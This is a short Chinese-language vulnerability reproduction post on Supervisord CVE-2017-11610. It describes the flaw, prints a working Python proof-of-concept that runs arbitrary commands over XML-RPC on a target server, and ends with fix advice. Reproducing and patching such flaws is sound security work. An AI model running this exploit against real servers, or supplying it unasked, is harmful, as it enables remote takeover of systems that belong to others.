Supervisord 远程命令执行漏洞(CVE-2017-11610)

漏洞描述:

Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。

Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。

复现过程:

1.访问ip:portSupervisord 远程命令执行漏洞(CVE-2017-11610)_第1张图片

2.构造poc

#!/usr/bin/env python3

import xmlrpc.client

import sys

target = sys.argv[1]

command = sys.argv[2]

with xmlrpc.client.ServerProxy(target) as proxy:

    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()

    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))

    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

3.Poc利用

python3 url/RPC2   '命令'

Supervisord 远程命令执行漏洞(CVE-2017-11610)_第2张图片

修复建议:

1.升级Supervisord

2.端口访问控制

3.设置复杂RPC密码

你可能感兴趣的:(python,网络安全,web安全)